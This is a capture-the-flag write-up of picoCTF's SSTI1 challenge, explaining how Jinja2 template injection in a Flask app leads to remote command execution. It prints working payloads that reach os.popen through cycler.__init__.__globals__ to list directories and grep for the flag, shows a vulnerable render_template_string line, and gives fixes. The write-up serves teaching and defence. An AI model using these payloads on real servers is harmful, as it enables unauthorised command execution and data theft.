July 17, 2026
From a Text Box to a RCE: Breaking picoCTF’s SSTI1
A profile feature that just “announces your message” turned out to be running my input through Jinja2 directly. Here’s how one Python…

By Sarah Siddiqui
3 min read
A profile feature that just "announces your message" turned out to be running my input through Jinja2 directly. Here's how one Python object was enough to get a shell.
Quick ethics note
This was solved inside picoCTF's own sandboxed challenge infrastructure. Don't run these payloads against anything you don't own or have explicit permission to test.
TL;DR
The app rendered user input straight through Jinja2 instead of just displaying it back. Because Jinja2 templates are Python underneath, and Python objects can walk back up to os through __globals__, one crafted string was enough to go from "harmless text field" to arbitrary command execution. Core idea: cycler is a Jinja2 built-in most people never think about — and its __init__.__globals__ chain leads straight to os.
What is happening under the hood?
Jinja2 doesn't evaluate {{ }} as inert text — it compiles and runs it as an actual expression against the objects available in the template's context. If user input gets dropped into a template string before that string is compiled (instead of being passed in as a variable to an already-compiled template), the input itself becomes code the server executes.
That distinction — data vs. code — is the entire vulnerability class. And once you're inside the template's execution context, Python's object model does the rest of the work for you: almost any object can be walked backward through __class__, __init__, __globals__ until you land on something dangerous.
Confirming it's actually SSTI
Before building a payload, I needed to know whether the input was being reflected or evaluated. The standard test:
msg={{7*7}}msg={{7*7}}If it comes back as literal text, it's just reflection. Here it came back as:
4949That's the tell. My input isn't being printed; it's being run.
The payload that proved code execution
Response headers pointed to Flask, which defaults to Jinja2. Jinja2 conveniently exposes cycler in its global namespace (meant for alternating CSS classes in loops) — a completely ordinary object, which means it has an __init__, and that __init__ has a __globals__ dict containing everything its own module can see, including os.
{{cycler.__init__.__globals__.os.popen('ls /').read()}}{{cycler.__init__.__globals__.os.popen('ls /').read()}}Result:
bin boot challenge dev etc home lib lib32 lib64 libx32 media mnt
opt proc root run sbin srv sys tmp usr varbin boot challenge dev etc home lib lib32 lib64 libx32 media mnt
opt proc root run sbin srv sys tmp usr varThat confirmed remote command execution on the server, straight from a message box.
Reading the flag
Same chain, different command — instead of walking the filesystem by hand, I let grep do the work:
{{cycler.__init__.__globals__.os.popen('grep -R pico /challenge').read()}}{{cycler.__init__.__globals__.os.popen('grep -R pico /challenge').read()}}This returned the flag directly.
Why this worked
Jinja2 ≠ a sandboxed template language. It's Python wearing a light disguise. Any object exposed to the template — even something as innocuous as cycler — is a potential stepping stone back to the interpreter's full capabilities, because Python's dunder attributes don't distinguish between "safe" objects and dangerous ones.
__globals__ is the pivot. Once you have any callable's __init__, its __globals__ hands you the entire module namespace it was defined in — including any imported modules like os, subprocess, or sys.
No sandboxing was in place. Jinja2 ships a SandboxedEnvironment specifically to block this — restricting access to dunder attributes like __globals__. This app wasn't using it.
Defender's corner (how to fix this)
If you're maintaining a Flask/Jinja2 app: never render untrusted input as a template string. Pass it in as data instead:
# Vulnerable
return render_template_string(f"<p>{msg}</p>")
# Fixed — msg is data, not compiled template code
return render_template("announce.html", msg=msg)# Vulnerable
return render_template_string(f"<p>{msg}</p>")
# Fixed — msg is data, not compiled template code
return render_template("announce.html", msg=msg)If you absolutely must render dynamic template strings, use jinja2.sandbox.SandboxedEnvironment, which blocks unsafe dunder access. And run the app under a least-privilege service account — RCE as a locked-down user is a very different incident than RCE as root.
Notes & resources
{{7*7}} (or ${7*7} for other engines) is a legitimate first-move detection technique for SSTI, not a novelty trick — it's usually the fastest way to confirm or rule out template injection on any target. PayloadsAllTheThings' SSTI section covers the equivalent chains for Twig, FreeMarker, and other engines if you want to see how the same idea plays out in other languages.
Final thoughts
This challenge is a clean reminder that "reflects user input" and "evaluates user input" look identical until you actually test for it. The gap between those two is a one-line difference in the source code and a complete difference in what an attacker can do with it.
If you found this useful, feel free to share — just keep it in CTFs and authorized tests.
Tags: Cybersecurity, Web Exploitation, CTF Writeup, SSTI, Jinja2